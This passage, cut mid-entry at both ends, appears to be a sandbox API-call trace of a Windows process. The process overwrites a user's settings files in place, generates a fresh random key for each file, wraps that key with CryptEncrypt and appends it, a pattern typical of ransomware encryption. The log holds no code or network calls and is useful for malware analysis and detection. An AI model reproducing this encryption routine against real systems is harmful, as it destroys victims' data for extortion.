(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{bb64f8a7-bee7-4e1a-ab8d-7d8273f7fdb6}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.678] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x357, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x357, lpOverlapped=0x0) returned 1 [0194.679] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-855, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.679] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x357, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x357, lpOverlapped=0x0) returned 1 [0194.680] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x357 [0194.680] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.680] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.680] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.681] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.681] CloseHandle (hObject=0x1c24) returned 1 [0194.684] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.684] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.684] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{bb06c0e4-d293-4f75-8a90-cb05b6477eee}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.685] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x340, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x340, lpOverlapped=0x0) returned 1 [0194.686] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.686] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x340, lpOverlapped=0x0) returned 1 [0194.687] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x340 [0194.687] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.687] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.687] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.688] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.688] CloseHandle (hObject=0x1c24) returned 1 [0194.689] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.689] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.690] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{BABB24A6-0242-4AE5-BD83-C5816526F63D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.690] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x47d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47d, lpOverlapped=0x0) returned 1 [0194.693] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.693] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x47d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47d, lpOverlapped=0x0) returned 1 [0194.694] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47d [0194.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.694] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.695] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.695] CloseHandle (hObject=0x1c24) returned 1 [0194.697] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.697] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.697] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B935C3B6-969C-4FC2-B96C-7F06794471AF}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.697] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fe, lpOverlapped=0x0) returned 1 [0194.698] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.698] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fe, lpOverlapped=0x0) returned 1 [0194.699] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fe [0194.699] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.699] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.699] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.699] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.700] CloseHandle (hObject=0x1c24) returned 1 [0194.701] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.701] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.701] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B896819B-CF73-4da0-8F59-6E744A6BCD5F}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.701] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e6, lpOverlapped=0x0) returned 1 [0194.703] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-998, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.703] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e6, lpOverlapped=0x0) returned 1 [0194.703] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e6 [0194.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.703] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.704] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.704] CloseHandle (hObject=0x1c24) returned 1 [0194.705] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.705] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.705] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B7622F10-9A47-4BF2-B6EF-2C20B4510254}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.706] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c3, lpOverlapped=0x0) returned 1 [0194.707] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-963, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.707] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c3, lpOverlapped=0x0) returned 1 [0194.707] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c3 [0194.707] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.707] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.707] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.708] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.708] CloseHandle (hObject=0x1c24) returned 1 [0194.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.760] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B6B2793F-F4B9-49FD-B578-212C3C020892}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.761] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x441, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x441, lpOverlapped=0x0) returned 1 [0194.762] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1089, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.762] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x441, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x441, lpOverlapped=0x0) returned 1 [0194.763] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x441 [0194.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.763] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.763] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.764] CloseHandle (hObject=0x1c24) returned 1 [0194.765] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.765] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.765] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{b2c761c6-29bc-4f19-9251-e6195265baf1}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.765] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x345, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x345, lpOverlapped=0x0) returned 1 [0194.766] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.766] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x345, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x345, lpOverlapped=0x0) returned 1 [0194.767] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x345 [0194.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.767] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.767] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.768] CloseHandle (hObject=0x1c24) returned 1 [0194.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.769] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B1FE5142-DEDD-409B-BCC8-547EC08DE84E}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.769] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0194.774] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-937, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.774] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3a9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0194.775] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a9 [0194.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.775] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.776] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.776] CloseHandle (hObject=0x1c24) returned 1 [0194.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.778] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B123B0AB-2E4E-4325-804A-32F99784DA0B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.778] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e7, lpOverlapped=0x0) returned 1 [0194.779] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-999, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.779] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e7, lpOverlapped=0x0) returned 1 [0194.780] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e7 [0194.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.780] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.780] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.781] CloseHandle (hObject=0x1c24) returned 1 [0194.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.783] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B1207959-FFBF-4417-A6B1-4BF0EDA51F5A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.783] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x392, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x392, lpOverlapped=0x0) returned 1 [0194.791] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-914, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.791] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x392, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, 